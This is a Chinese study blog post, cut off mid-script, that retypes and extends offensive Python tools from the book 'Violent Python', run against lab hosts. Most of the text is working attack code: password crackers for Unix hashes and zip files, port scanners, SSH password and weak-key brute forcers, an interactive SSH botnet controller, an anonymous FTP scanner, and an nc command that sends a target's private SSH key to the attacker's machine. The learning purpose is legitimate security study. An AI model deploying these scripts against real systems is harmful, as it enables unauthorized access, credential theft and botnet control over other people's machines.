本篇文章主要把《Python绝技:运用Python成为顶级黑客》中的代码敲一遍,学学Python安全相关的编程与思路,然后根据具体的情况修改一下代码。
第一章——入门
1、准备开发环境
安装第三方库:
安装Python-nmap包:wget http://xael.org/norman/python/python-nmap/pythonnmap-0.2.4.tar.gz-On map.tar.gz
tar -xzf nmap.tar.gz
cd python-nmap-0.2.4/
python setup.py install
当然可以使用easy_install模块实现更简便的安装:easy_install python-nmap
安装其他:easy_install pyPdf python-nmap pygeoip mechanize BeautifulSoup4
其他几个无法用easy_install命令安装的与蓝牙有关的库:apt-get install python-bluez bluetooth python-obexftp
Python解释与Python交互:
简单地说,Python解释是通过调用Python解释器执行py脚本,而Python交互则是通过在命令行输入python实现交互。
2、Python语言
变量
Python中的字符串、整形数、列表、布尔值以及词典。
字符串
四个方法:upper()大写输出、lower()小写输出、replace()替换、find()查找
List(列表)
append()方法向列表添加元素、index()返回元素的索引、remove()删除元素、sort()排序、len()返回列表长度
词典
keys()返回词典中所有键的列表、items()返回词典中所有项的完整信息的列表
网络
使用socket模块,connect()方法建立与指定IP和端口的网络连接;revc(1024)方法将读取套接字中接下来的1024B数据
条件选择语句
if 条件一:语句一
elif 条件二:
语句二
else:
语句三
异常处理
try/except语句进行异常处理,可以将异常存储到变量e中以便打印出来,同时还要调用str()将e转换成一个字符串
函数
通过def()关键字定义,示例中定义扫描FTP banner信息的函数:
-
#!/usr/bin/python
-
#coding=utf-8
-
import socket
-
-
def retBanner(ip,port):
-
try:
-
socket.setdefaulttimeout(
2)
-
s = socket.socket()
-
s.connect((ip,port))
-
banner = s.recv(
1024)
-
return banner
-
except:
-
return
-
-
def checkVulns(banner):
-
if
'vsFTPd'
in banner:
-
print
'[+] vsFTPd is vulnerable.'
-
elif
'FreeFloat Ftp Server'
in banner:
-
print
'[+] FreeFloat Ftp Server is vulnerable.'
-
else:
-
print
'[-] FTP Server is not vulnerable.'
-
return
-
-
def main():
-
ips = [
'10.10.10.128',
'10.10.10.160']
-
port =
21
-
banner1 = retBanner(ips[
0],port)
-
if banner1:
-
print
'[+] ' + ips[
0] +
": " + banner1.strip(
'\n')
-
checkVulns(banner1)
-
banner2 = retBanner(ips[
1],port)
-
if banner2:
-
print
'[+] ' + ips[
1] +
": " + banner2.strip(
'\n')
-
checkVulns(banner2)
-
-
if __name__ ==
'__main__':
-
main()
迭代
for语句
-
#!/usr/bin/python
-
#coding=utf-8
-
import socket
-
-
def retBanner(ip,port):
-
try:
-
socket.setdefaulttimeout(
2)
-
s = socket.socket()
-
s.connect((ip,port))
-
banner = s.recv(
1024)
-
return banner
-
except:
-
return
-
-
def checkVulns(banner):
-
if
'vsFTPd'
in banner:
-
print
'[+] vsFTPd is vulnerable.'
-
elif
'FreeFloat Ftp Server'
in banner:
-
print
'[+] FreeFloat Ftp Server is vulnerable.'
-
else:
-
print
'[-] FTP Server is not vulnerable.'
-
return
-
-
def main():
-
portList = [
21,
22,
25,
80,
110,
443]
-
ip =
'10.10.10.128'
-
for port
in portList:
-
banner = retBanner(ip,port)
-
if banner:
-
print
'[+] ' + ip +
':' + str(port) +
'--' + banner
-
if port ==
21:
-
checkVulns(banner)
-
-
if __name__ ==
'__main__':
-
main()
文件输入/输出
open()打开文件,r只读,r+读写,w新建(会覆盖原有文件),a追加,b二进制文件同一目录中:
不同目录中:
从当前目录开始往下查找,前面加上.号
或者是绝对路径则不用加.号表示从当前目录开始
sys模块
sys.argv列表中含有所有的命令行参数,sys.argv[0]为Python脚本的名称,其余的都是命令行参数
OS模块
os.path.isfile()检查该文件是否存在os.access()判断当前用户是否有权限读取该文件
-
#!/usr/bin/python
-
#coding=utf-8
-
import sys
-
import os
-
if len(sys.argv) ==
2:
-
filename = sys.argv[
1]
-
if
not os.path.isfile(filename):
-
print
'[-] ' + filename +
' does not exit.'
-
exit(
0)
-
if
not os.access(filename,os.R_OK):
-
print
'[-] ' + filename +
' access denied.'
-
exit(
0)
-
print
'[+] Reading From: ' + filename
整合
将上述各个模块整合起来,实现对目标主机的端口及其banner信息的扫描:
-
#!/usr/bin/python
-
#coding=utf-8
-
import socket
-
import sys
-
import os
-
-
def retBanner(ip,port):
-
try:
-
socket.setdefaulttimeout(
2)
-
s = socket.socket()
-
s.connect((ip,port))
-
banner = s.recv(
1024)
-
return banner
-
except:
-
return
-
-
def checkVulns(banner,filename):
-
f = open(filename,
'r')
-
for line
in f.readlines():
-
if line.strip(
'\n')
in banner:
-
print
'[+] Server is vulnerable: ' + banner.strip(
'\n')
-
-
def main():
-
-
if len(sys.argv) ==
2:
-
-
filename = sys.argv[
1]
-
if
not os.path.isfile(filename):
-
print
'[-] ' + filename +
' does not exit.'
-
exit(
0)
-
-
if
not os.access(filename,os.R_OK):
-
print
'[-] ' + filename +
' access denied.'
-
exit(
0)
-
-
print
'[+] Reading From: ' + filename
-
else:
-
print
'[-] Usage: ' + str(sys.argv[
0]) +
' <vuln filename>'
-
exit(
0)
-
-
portList = [
21,
22,
25,
80,
110,
443]
-
ip =
'10.10.10.128'
-
for port
in portList:
-
banner = retBanner(ip,port)
-
if banner:
-
print
'[+] ' + ip +
':' + str(port) +
'--' + banner
-
if port ==
21:
-
checkVulns(banner,filename)
-
-
if __name__ ==
'__main__':
-
main()
运行结果:
3、第一个Python程序
第一个程序:Unix口令破解机
这段代码通过分别读取两个文件,一个为加密口令文件,另一个为用于猜测的字典文件。在testPass()函数中读取字典文件,并通过crypt.crypt()进行加密,其中需要一个明文密码以及两个字节的盐,然后再用加密后的信息和加密口令进行比较查看是否相等即可。先看crypt的示例:
可以看到盐是添加在密文的前两位的,所以将加密口令的前两位提取出来为salt即可。
-
#!/usr/bin/python
-
#coding=utf-8
-
import crypt
-
-
def testPass(cryptPass):
-
salt = cryptPass[
0:
2]
-
-
dictFile = open(
'dictionary.txt',
'r')
-
-
for word
in dictFile.readlines():
-
word = word.strip(
'\n')
-
cryptWord = crypt.crypt(word,salt)
-
if cryptWord == cryptPass:
-
print
'[+] Found Password: ' + word +
"\n"
-
return
-
print
'[-] Password not Found.\n'
-
return
-
-
def main():
-
passFile = open(
'passwords.txt')
-
for line
in passFile.readlines():
-
if
":"
in line:
-
user = line.split(
':')[
0]
-
cryptPass = line.split(
':')[
1].strip(
' ')
-
print
'[*] Cracking Password For : ' + user
-
testPass(cryptPass)
-
-
if __name__ ==
'__main__':
-
main()
运行结果:
在现代的类Unix系统中在/etc/shadow文件中存储了口令的hash,但是更多的是使用SHA-512等更安全的hash算法,如:
在Python中的hashlib库可以找到SHA-512的函数,这样就可以进一步升级脚本进行口令破解。
第二个程序:一个Zip文件口令破解机
主要使用zipfile库的extractall()方法,其中pwd参数指定密码
-
#!/usr/bin/python
-
#coding=utf-8
-
import zipfile
-
import optparse
-
from threading
import Thread
-
-
def extractFile(zFile,password):
-
try:
-
zFile.extractall(pwd=password)
-
print
'[+] Fonud Password : ' + password +
'\n'
-
except:
-
pass
-
-
def main():
-
-
parser = optparse.OptionParser(
"[*] Usage: ./unzip.py -f <zipfile> -d <dictionary>")
-
parser.add_option(
'-f',dest=
'zname',type=
'string',help=
'specify zip file')
-
parser.add_option(
'-d',dest=
'dname',type=
'string',help=
'specify dictionary file')
-
(options,args) = parser.parse_args()
-
if (options.zname ==
None) | (options.dname ==
None):
-
print parser.usage
-
exit(
0)
-
-
zFile = zipfile.ZipFile(options.zname)
-
passFile = open(options.dname)
-
for line
in passFile.readlines():
-
line = line.strip(
'\n')
-
t = Thread(target=extractFile,args=(zFile,line))
-
t.start()
-
-
if __name__ ==
'__main__':
-
main()
代码中导入了optparse库解析命令行参数,调用OptionParser()生成一个参数解析器类的示例,parser.add_option()指定具体解析哪些命令行参数,usage输出的是参数的帮助信息;同时也采用了多线程的方式提高破解速率。
运行结果:
第二章——用Python进行渗透测试
1、编写一个端口扫描器
TCP全连接扫描、抓取应用的Banner
-
#!/usr/bin/python
-
#coding=utf-8
-
import optparse
-
import socket
-
from socket
import *
-
-
def connScan(tgtHost,tgtPort):
-
try:
-
connSkt = socket(AF_INET,SOCK_STREAM)
-
connSkt.connect((tgtHost,tgtPort))
-
connSkt.send(
'ViolentPython\r\n')
-
result = connSkt.recv(
100)
-
print
'[+] %d/tcp open'%tgtPort
-
print
'[+] ' + str(result)
-
connSkt.close()
-
except:
-
print
'[-] %d/tcp closed'%tgtPort
-
-
def portScan(tgtHost,tgtPorts):
-
try:
-
tgtIP = gethostbyname(tgtHost)
-
except:
-
print
"[-] Cannot resolve '%s' : Unknown host"%tgtHost
-
return
-
-
try:
-
tgtName = gethostbyaddr(tgtIP)
-
print
'\n[+] Scan Results for: ' + tgtName[
0]
-
except:
-
print
'\n[+] Scan Results for: ' + tgtIP
-
-
setdefaulttimeout(
1)
-
-
for tgtPort
in tgtPorts:
-
print
'Scanning port' + tgtPort
-
connScan(tgtHost,int(tgtPort))
-
-
def main():
-
parser = optparse.OptionParser(
"[*] Usage : ./portscanner.py -H <target host> -p <target port>")
-
parser.add_option(
'-H',dest=
'tgtHost',type=
'string',help=
'specify target host')
-
parser.add_option(
'-p',dest=
'tgtPort',type=
'string',help=
'specify target port[s]')
-
(options,args) = parser.parse_args()
-
tgtHost = options.tgtHost
-
tgtPorts = str(options.tgtPort).split(
',')
-
if (tgtHost ==
None) | (tgtPorts[
0] ==
None):
-
print parser.usage
-
exit(
0)
-
portScan(tgtHost,tgtPorts)
-
-
if __name__ ==
'__main__':
-
main()
这段代码实现了命令行参数输入,需要用户输入主机IP和扫描的端口号,其中多个端口号之间可以用,号分割开;若参数输入不为空时(注意检测端口参数列表不为空即检测至少存在第一个值不为空即可)则调用函数进行端口扫描;在portScan()函数中先尝试调用gethostbyname()来从主机名获取IP,若获取不了则解析IP失败程序结束,若成功则继续尝试调用gethostbyaddr()从IP获取主机名相关信息,若获取成功则输出列表的第一项主机名否则直接输出IP,接着遍历端口调用connScan()函数进行端口扫描;在connScan()函数中,socket方法中有两个参数AF_INET和SOCK_STREAM,分别表示使用IPv4地址和TCP流,这两个参数是默认的,在上一章的代码中没有添加但是默认是这两个参数,其余的代码和之前的差不多了。
注意一个小问题就是,设置命令行参数的时候,是已经默认添加了-h和--help参数来提示参数信息的,如果在host参数使用-h的话就会出现错误,因而要改为用大写的H即书上的“-H”即可。
运行结果:
线程扫描
将上一小节的代码修改一下,添加线程实现,同时为了让一个函数获得完整的屏幕控制权,这里使用一个信号量semaphore,它能够阻止其他线程运行而避免出现多线程同时输出造成的乱码和失序等情况。在打印输出前带调用screenLock.acquire()函数执行一个加锁操作,若信号量还没被锁定则线程有权继续运行并输出打印到屏幕上,若信号量被锁定则只能等待直到信号量被释放。
-
#!/usr/bin/python
-
#coding=utf-8
-
import optparse
-
import socket
-
from socket
import *
-
from threading
import *
-
-
#定义一个信号量
-
screenLock = Semaphore(value=
1)
-
-
def connScan(tgtHost,tgtPort):
-
try:
-
connSkt = socket(AF_INET,SOCK_STREAM)
-
connSkt.connect((tgtHost,tgtPort))
-
connSkt.send(
'ViolentPython\r\n')
-
result = connSkt.recv(
100)
-
-
#执行一个加锁操作
-
screenLock.acquire()
-
-
print
'[+] %d/tcp open'%tgtPort
-
print
'[+] ' + str(result)
-
except:
-
#执行一个加锁操作
-
screenLock.acquire()
-
print
'[-] %d/tcp closed'%tgtPort
-
finally:
-
#执行释放锁的操作,同时将socket的连接在其后关闭
-
screenLock.release()
-
connSkt.close()
-
-
def portScan(tgtHost,tgtPorts):
-
try:
-
tgtIP = gethostbyname(tgtHost)
-
except:
-
print
"[-] Cannot resolve '%s' : Unknown host"%tgtHost
-
return
-
-
try:
-
tgtName = gethostbyaddr(tgtIP)
-
print
'\n[+] Scan Results for: ' + tgtName[
0]
-
except:
-
print
'\n[+] Scan Results for: ' + tgtIP
-
-
setdefaulttimeout(
1)
-
-
for tgtPort
in tgtPorts:
-
t = Thread(target=connScan,args=(tgtHost,int(tgtPort)))
-
t.start()
-
-
def main():
-
parser = optparse.OptionParser(
"[*] Usage : ./portscanner.py -H <target host> -p <target port>")
-
parser.add_option(
'-H',dest=
'tgtHost',type=
'string',help=
'specify target host')
-
parser.add_option(
'-p',dest=
'tgtPort',type=
'string',help=
'specify target port[s]')
-
(options,args) = parser.parse_args()
-
tgtHost = options.tgtHost
-
tgtPorts = str(options.tgtPort).split(
',')
-
if (tgtHost ==
None) | (tgtPorts[
0] ==
None):
-
print parser.usage
-
exit(
0)
-
portScan(tgtHost,tgtPorts)
-
-
if __name__ ==
'__main__':
-
main()
运行结果:
从结果可以看到,使用多线程之后端口的扫描并不是按输入的顺序进行的了,而是同时进行,但是因为有信号量实现加锁等操作所以输出的结果并没有出现乱码等情况。
使用nmap端口扫描代码
如果在前面没有下载该模块,则需要先到http://xael.org/pages/python-nmap-en.html中下载Python-Nmap
-
#!/usr/bin/python
-
#coding=utf-8
-
import nmap
-
import optparse
-
-
def nmapScan(tgtHost,tgtPort):
-
#创建一个PortScanner()类对象
-
nmScan = nmap.PortScanner()
-
-
#调用PortScanner类的scan()函数,将目标和端口作为参数输入并进行nmap扫描
-
nmScan.scan(tgtHost,tgtPort)
-
-
#输出扫描结果中的状态信息
-
state = nmScan[tgtHost][
'tcp'][int(tgtPort)][
'state']
-
print
'[*] ' + tgtHost +
" tcp/" + tgtPort +
" " + state
-
-
def main():
-
parser=optparse.OptionParser(
"[*] Usage : ./nmapScan.py -H <target host> -p <target port[s]>")
-
parser.add_option(
'-H',dest=
'tgtHost',type=
'string',help=
'specify target host')
-
parser.add_option(
'-p',dest=
'tgtPorts',type=
'string',help=
'specify target port[s]')
-
(options,args)=parser.parse_args()
-
tgtHost = options.tgtHost
-
tgtPorts = str(options.tgtPorts).split(
',')
-
if (tgtHost ==
None) | (tgtPorts[
0] ==
None):
-
print parser.usage
-
exit(
0)
-
for tgtPort
in tgtPorts:
-
nmapScan(tgtHost,tgtPort)
-
-
if __name__ ==
'__main__':
-
main()
运行结果:
2、用Python构建一个SSH僵尸网络
用Pexpect与SSH交互
若在前面第一章的时候没有下载,则需要先下载Pexpect:https://pypi.python.org/pypi/pexpect/
Pexpect模块可以实现与程序交互、等待预期的屏幕输出并据此作出不同的响应。
先进行正常的ssh连接测试:
模仿这个流程,代码如下:
-
#!/usr/bin/python
-
#coding=utf-8
-
import pexpect
-
-
#SSH连接成功时的命令行交互窗口中前面的提示字符的集合
-
PROMPT = [
'# ',
'>>> ',
'> ',
'\$ ']
-
-
def send_command(child,cmd):
-
#发送一条命令
-
child.sendline(cmd)
-
-
#期望有命令行提示字符出现
-
child.expect(PROMPT)
-
-
#将之前的内容都输出
-
print child.before
-
-
def connect(user,host,password):
-
#表示主机已使用一个新的公钥的消息
-
ssh_newkey =
'Are you sure you want to continue connecting'
-
connStr =
'ssh ' + user +
'@' + host
-
-
#为ssh命令生成一个spawn类的对象
-
child = pexpect.spawn(connStr)
-
-
#期望有ssh_newkey字符、提示输入密码的字符出现,否则超时
-
ret = child.expect([pexpect.TIMEOUT,ssh_newkey,
'[P|p]assword: '])
-
-
#匹配到超时TIMEOUT
-
if ret ==
0:
-
print
'[-] Error Connecting'
-
return
-
-
#匹配到ssh_newkey
-
if ret ==
1:
-
#发送yes回应ssh_newkey并期望提示输入密码的字符出现
-
child.sendline(
'yes')
-
ret = child.expect([pexpect.TIMEOUT,
'[P|p]assword: '])
-
-
#匹配到超时TIMEOUT
-
if ret ==
0:
-
print
'[-] Error Connecting'
-
return
-
-
#发送密码
-
child.sendline(password)
-
child.expect(PROMPT)
-
return child
-
-
def main():
-
host=
'10.10.10.128'
-
user=
'msfadmin'
-
password=
'msfadmin'
-
child=connect(user,host,password)
-
send_command(child,
'uname -a')
-
-
if __name__ ==
'__main__':
-
main()
这段代码没有进行命令行参数的输入以及没有实现命令行交互。
运行结果:
书上提到了BackTrack中的运行,也来测试一下吧:
在BT5中生成ssh-key并启动SSH服务:
sshd-generate
service ssh start
./sshScan.py
【个人修改的代码】
这段代码可以进一步改进一下,下面的是个人改进的代码,实现了参数化输入以及命令行shell交互的形式:
-
#!/usr/bin/python
-
#coding=utf-8
-
import pexpect
-
from optparse
import OptionParser
-
-
#SSH连接成功时的命令行交互窗口中的提示符的集合
-
PROMPT = [
'# ',
'>>> ',
'> ',
'\$ ']
-
-
def send_command(child,cmd):
-
#发送一条命令
-
child.sendline(cmd)
-
-
#期望有命令行提示字符出现
-
child.expect(PROMPT)
-
-
#将之前的内容都输出
-
print child.before.split(
'\n')[
1]
-
-
def connect(user,host,password):
-
#表示主机已使用一个新的公钥的消息
-
ssh_newkey =
'Are you sure you want to continue connecting'
-
connStr =
'ssh ' + user +
'@' + host
-
-
#为ssh命令生成一个spawn类的对象
-
child = pexpect.spawn(connStr)
-
-
#期望有ssh_newkey字符、提示输入密码的字符出现,否则超时
-
ret = child.expect([pexpect.TIMEOUT,ssh_newkey,
'[P|p]assword: '])
-
-
#匹配到超时TIMEOUT
-
if ret ==
0:
-
print
'[-] Error Connecting'
-
return
-
-
#匹配到ssh_newkey
-
if ret ==
1:
-
#发送yes回应ssh_newkey并期望提示输入密码的字符出现
-
child.sendline(
'yes')
-
ret = child.expect([pexpect.TIMEOUT,ssh_newkey,
'[P|p]assword: '])
-
-
#匹配到超时TIMEOUT
-
if ret ==
0:
-
print
'[-] Error Connecting'
-
return
-
-
#发送密码
-
child.sendline(password)
-
child.expect(PROMPT)
-
return child
-
-
def main():
-
parser = OptionParser(
"[*] Usage : ./sshCommand2.py -H <target host> -u <username> -p <password>")
-
parser.add_option(
'-H',dest=
'host',type=
'string',help=
'specify target host')
-
parser.add_option(
'-u',dest=
'username',type=
'string',help=
'target username')
-
parser.add_option(
'-p',dest=
'password',type=
'string',help=
'target password')
-
(options,args) = parser.parse_args()
-
-
if (options.host ==
None) | (options.username ==
None) | (options.password ==
None):
-
print parser.usage
-
exit(
0)
-
-
child=connect(options.username,options.host,options.password)
-
-
while
True:
-
command = raw_input(
'<SSH> ')
-
send_command(child,command)
-
-
if __name__ ==
'__main__':
-
main()
这样就可以指定目标主机进行SSH连接并实现了SSH一样的命令行交互体验了:
用Pxssh暴力破解SSH密码
pxssh 是 pexpect 中 spawn 类的子类,增加了login()、logout()和prompt()几个方法,使用其可以轻松实现 ssh 连接,而不用自己调用相对复杂的 pexpect 的方法来实现。
prompt(self,timeout=20)方法用于匹配新提示符
使用pxssh替代上一小节的脚本:
-
#!/usr/bin/python
-
#coding=utf-8
-
from pexpect
import pxssh
-
-
def send_command(s,cmd):
-
-
s.sendline(cmd)
-
#匹配prompt(提示符)
-
s.prompt()
-
#将prompt前所有内容打印出
-
print s.before
-
-
def connect(host,user,password):
-
try:
-
s = pxssh.pxssh()
-
#利用pxssh类的login()方法进行ssh登录
-
s.login(host,user,password)
-
return s
-
except:
-
print
'[-] Error Connecting'
-
exit(
0)
-
-
s = connect(
'10.10.10.128',
'msfadmin',
'msfadmin')
-
send_command(s,
'uname -a')
一开始遇到一个问题,就是直接按书上的敲import pxssh会显示出错,但是明明已经安装了这个文件,查看资料发现是pxssh是在pexpect包中的,所以将其改为from pexpect import pxssh就可以了。
运行结果:
接着继续修改代码:
-
#!/usr/bin/python
-
#coding=utf-8
-
from pexpect
import pxssh
-
import optparse
-
import time
-
from threading
import *
-
-
maxConnections =
5
-
#定义一个有界信号量BoundedSemaphore,在调用release()函数时会检查增加的计数是否超过上限
-
connection_lock = BoundedSemaphore(value=maxConnections)
-
Found =
False
-
Fails =
0
-
-
def connect(host,user,password,release):
-
-
global Found
-
global Fails
-
-
try:
-
s = pxssh.pxssh()
-
#利用pxssh类的login()方法进行ssh登录
-
s.login(host,user,password)
-
print
'[+] Password Found: ' + password
-
Found =
True
-
except Exception, e:
-
#SSH服务器可能被大量的连接刷爆,等待一会再连接
-
if
'read_nonblocking'
in str(e):
-
Fails +=
1
-
time.sleep(
5)
-
#递归调用的connect(),不可释放锁
-
connect(host,user,password,
False)
-
#显示pxssh命令提示符提取困难,等待一会再连接
-
elif
'synchronize with original prompt'
in str(e):
-
time.sleep(
1)
-
#递归调用的connect(),不可释放锁
-
connect(host,user,password,
False)
-
finally:
-
if release:
-
#释放锁
-
connection_lock.release()
-
-
def main():
-
parser = optparse.OptionParser(
'[*] Usage : ./sshBrute.py -H <target host> -u <username> -f <password file>')
-
parser.add_option(
'-H',dest=
'host',type=
'string',help=
'specify target host')
-
parser.add_option(
'-u',dest=
'username',type=
'string',help=
'target username')
-
parser.add_option(
'-f',dest=
'file',type=
'string',help=
'specify password file')
-
(options,args) = parser.parse_args()
-
-
if (options.host ==
None) | (options.username ==
None) | (options.file ==
None):
-
print parser.usage
-
exit(
0)
-
-
host = options.host
-
username = options.username
-
file = options.file
-
-
fn = open(file,
'r')
-
for line
in fn.readlines():
-
-
if Found:
-
print
'[*] Exiting: Password Found'
-
exit(
0)
-
-
if Fails >
5:
-
print
'[!] Exiting: Too Many Socket Timeouts'
-
exit(
0)
-
-
#加锁
-
connection_lock.acquire()
-
-
#去掉换行符,其中Windows为'\r\n',Linux为'\n'
-
password = line.strip(
'\r').strip(
'\n')
-
print
'[-] Testing: ' + str(password)
-
-
#这里不是递归调用的connect(),可以释放锁
-
t = Thread(target=connect,args=(host,username,password,
True))
-
child = t.start()
-
-
if __name__ ==
'__main__':
-
main()
Semaphore,是一种带计数的线程同步机制,当调用release时,增加计算,当acquire时,减少计数,当计数为0时,自动阻塞,等待release被调用。其存在两种Semaphore, 即Semaphore和BoundedSemaphore,都属于threading库。
Semaphore: 在调用release()函数时,不会检查增加的计数是否超过上限(没有上限,会一直上升)
BoundedSemaphore:在调用release()函数时,会检查增加的计数是否超过上限,从而保证了使用的计数
运行结果:
利用SSH中的弱密钥
使用密钥登录ssh时,格式为:ssh user@host -i keyfile -o PasswordAuthentication=no
本来是要到这个网站中去下载ssh的私钥压缩包的:http://digitaloffense.net/tools/debianopenssl/
但是由于时间有点久已经没有该站点可以下载了。
为了进行测试就到靶机上将该ssh的rsa文件通过nc传过来:
Kali先开启nc监听:nc -lp 4444 > id_rsa
然后靶机Metasploitable进入ssh的dsa目录,将id_rsa文件而不是id_rsa.:
cd .ssh
nc -nv 10.10.10.160 4444 -q 1 < id_rsa
下面这段脚本主要是逐个使用指定目录中生成的密钥来尝试进行连接。
-
#!/usr/bin/python
-
#coding=utf-8
-
import pexpect
-
import optparse
-
import os
-
from threading
import *
-
-
maxConnections =
5
-
#定义一个有界信号量BoundedSemaphore,在调用release()函数时会检查增加的计数是否超过上限
-
connection_lock = BoundedSemaphore(value=maxConnections)
-
Stop =
False
-
Fails =
0
-
-
def connect(host,user,keyfile,release):
-
-
global Stop
-
global Fails
-
-
try:
-
perm_denied =
'Permission denied'
-
ssh_newkey =
'Are you sure you want to continue'
-
conn_closed =
'Connection closed by remote host'
-
opt =
' -o PasswordAuthentication=no'
-
connStr =
'ssh ' + user +
'@' + host +
' -i ' + keyfile + opt
-
child = pexpect.spawn(connStr)
-
ret = child.expect([pexpect.TIMEOUT,perm_denied,ssh_newkey,conn_closed,
'$',
'#', ])
-
#匹配到ssh_newkey
-
if ret ==
2:
-
print
'[-] Adding Host to ~/.ssh/known_hosts'
-
child.sendline(
'yes')
-
connect(user, host, keyfile,
False)
-
#匹配到conn_closed
-
elif ret ==
3:
-
print
'[-] Connection Closed By Remote Host'
-
Fails +=
1
-
#匹配到提示符'$','#',
-
elif ret >
3:
-
print
'[+] Success. ' + str(keyfile)
-
Stop =
True
-
finally:
-
if release:
-
#释放锁
-
connection_lock.release()
-
-
def main():
-
parser = optparse.OptionParser(
'[*] Usage : ./sshBrute.py -H <target host> -u <username> -d <directory>')
-
parser.add_option(
'-H',dest=
'host',type=
'string',help=
'specify target host')
-
parser.add_option(
'-u',dest=
'username',type=
'string',help=
'target username')
-
parser.add_option(
'-d',dest=
'passDir',type=
'string',help=
'specify directory with keys')
-
(options,args) = parser.parse_args()
-
-
if (options.host ==
None) | (options.username ==
None) | (options.passDir ==
None):
-
print parser.usage
-
exit(
0)
-
-
host = options.host
-
username = options.username
-
passDir = options.passDir
-
-
#os.listdir()返回指定目录下的所有文件和目录名
-
for filename
in os.listdir(passDir):
-
if Stop:
-
print
'[*] Exiting: Key Found.'
-
exit(
0)
-
if Fails >
5:
-
print
'[!] Exiting: Too Many Connections Closed By Remote Host.'
-
print
'[!] Adjust number of simultaneous threads.'
-
exit(
0)
-
#加锁
-
connection_lock.acquire()
-
-
#连接目录与文件名或目录
-
fullpath = os.path.join(passDir,filename)
-
print
'[-] Testing keyfile ' + str(fullpath)
-
t = Thread(target=connect,args=(username,host,fullpath,
True))
-
child = t.start()
-
-
if __name__ ==
'__main__':
-
main()
运行结果:
构建SSH僵尸网络
-
#!/usr/bin/python
-
#coding=utf-8
-
import optparse
-
from pexpect
import pxssh
-
-
#定义一个客户端的类
-
class Client(object):
-
"""docstring for Client"""
-
def __init__(self, host, user, password):
-
self.host = host
-
self.user = user
-
self.password = password
-
self.session = self.connect()
-
-
def connect(self):
-
try:
-
s = pxssh.pxssh()
-
s.login(self.host,self.user,self.password)
-
return s
-
except Exception, e:
-
print e
-
print
'[-] Error Connecting'
-
-
def send_command(self, cmd):
-
self.session.sendline(cmd)
-
self.session.prompt()
-
return self.session.before
-
-
def botnetCommand(command):
-
for client
in botNet:
-
output = client.send_command(command)
-
print
'[*] Output from ' + client.host
-
print
'[+] ' + output +
'\n'
-
-
def addClient(host, user, password):
-
client = Client(host,user,password)
-
botNet.append(client)
-
-
botNet = []
-
addClient(
'10.10.10.128',
'msfadmin',
'msfadmin')
-
addClient(
'10.10.10.153',
'root',
'toor')
-
botnetCommand(
'uname -a')
-
botnetCommand(
'whoami')
这段代码主要定义一个客户端的类实现ssh连接和发送命令,然后再定义一个botNet数组用于保存僵尸网络中的所有主机,并定义两个方法一个是添加僵尸主机的addClient()、 另一个为在僵尸主机中遍历执行命令的botnetCommand()。
运行结果:
【个人修改的代码】
接下来是本人修改的代码,先是将僵尸主机的信息都保存在一个文件中、以:号将三类信息分割开,从而脚本可以方便地通过读取文件中的僵尸主机信息,同时脚本也实现了批量命令行交互的形式,和之前修改的ssh命令行交互的形式差不多,只是每次输入一条命令所有的僵尸主机都会去执行从而返回命令结果:
botnet.txt文件:
botNet2.py:
-
#!/usr/bin/python
-
#coding=utf-8
-
import optparse
-
from pexpect
import pxssh
-
import optparse
-
-
botNet=[]
-
#定义一个用于存放host的列表以便判断当前host之前是否已经添加进botNet中了
-
hosts = []
-
-
#定义一个客户端的类
-
class Client(object):
-
"""docstring for Client"""
-
def __init__(self, host, user, password):
-
self.host = host
-
self.user = user
-
self.password = password
-
self.session = self.connect()
-
-
def connect(self):
-
try:
-
s = pxssh.pxssh()
-
s.login(self.host,self.user,self.password)
-
return s
-
except Exception, e:
-
print e
-
print
'[-] Error Connecting'
-
-
def send_command(self, cmd):
-
self.session.sendline(cmd)
-
self.session.prompt()
-
return self.session.before
-
-
def botnetCommand(cmd, k):
-
for client
in botNet:
-
output=client.send_command(cmd)
-
#若k为True即最后一台主机发起请求后就输出,否则输出会和之前的重复
-
if k:
-
print
'[*] Output from '+client.host
-
print
'[+] '+output+
'\n'
-
-
def addClient(host,user,password):
-
if len(hosts) ==
0:
-
hosts.append(host)
-
client=Client(host,user,password)
-
botNet.append(client)
-
else:
-
t =
True
-
#遍历查看host是否存在hosts列表中,若不存在则进行添加操作
-
for h
in hosts:
-
if h == host:
-
t =
False
-
if t:
-
hosts.append(host)
-
client=Client(host,user,password)
-
botNet.append(client)
-
-
def main():
-
parser=optparse.OptionParser(
'Usage : ./botNet.py -f <botNet file>')
-
parser.add_option(
'-f',dest=
'file',type=
'string',help=
'specify botNet file')
-
(options,args)=parser.parse_args()
-
file = options.file
-
if file==
None:
-
print parser.usage
-
exit(
0)
-
-
#计算文件行数,不能和下面的f用同一个open()否则会出错
-
count = len(open(file,
'r').readlines())
-
-
while
True:
-
cmd=raw_input(
"<SSH> ")
-
k =
0
-
f = open(file,
'r')
-
for line
in f.readlines():
-
line = line.strip(
'\n')
-
host = line.split(
':')[
0]
-
user = line.split(
':')[
1]
-
password = line.split(
':')[
2]
-
-
k +=
1
-
-
#这里需要判断是否到最后一台主机调用函数,因为命令的输出结果会把前面的所有结果都输出从而会出现重复输出的情况
-
if k < count:
-
addClient(host,user,password)
-
#不是最后一台主机请求,则先不输出命令结果
-
botnetCommand(cmd,
False)
-
else:
-
addClient(host,user,password)
-
#最后一台主机请求,则可以输出命令结果
-
botnetCommand(cmd,
True)
-
-
if __name__ ==
'__main__':
-
main()
这段修改的代码主要的处理问题是输出的问题,在代码注释中也说得差不多了,就这样吧。
运行结果:
用户可以将收集到的ssh僵尸主机都保存在botnet.txt文件中,这样脚本运行起来执行就会十分地方便、实现批量式的操作。
3、利用FTP与Web批量抓“肉机”
用Python构建匿名FTP扫描器
一些FTP服务器提供匿名登录的功能,因为这有助于网站访问软件更新,这种情况下,用户输入用户名“anonymous”并提交一个电子邮箱替代密码即可登录。
下面的代码主要是使用ftplib模块的FTP()、login()和quit()方法实现:
-
#!/usr/bin/python
-
#coding=utf-8
-
import ftplib
-
-
def anonLogin(hostname):
-
try:
-
ftp = ftplib.FTP(hostname)
-
ftp.login(
'anonymous',
'123@123.com')
-
print
'\n[*] ' + str(hostname) +
' FTP Anonymous Logon Succeeded.'
-
ftp.quit()
-
return
True
-
except Exception, e:
-
print
'\n[-] ' + str(h1) +
' FTP Anonymous Logon Failed.'
-
return
False
-
-
hostname =
'10.10.10.128'
-
anonLogin(hostname)
运行结果:
【个人修改的代码】
稍微修改了一下,实现命令行输入交互:
-
#!/usr/bin/python
-
#coding=utf-8
-
import ftplib
-
-
def anonLogin(hostname):
-
try:
-
ftp=ftplib.FTP(hostname)
-
ftp.login(
'anonymous',
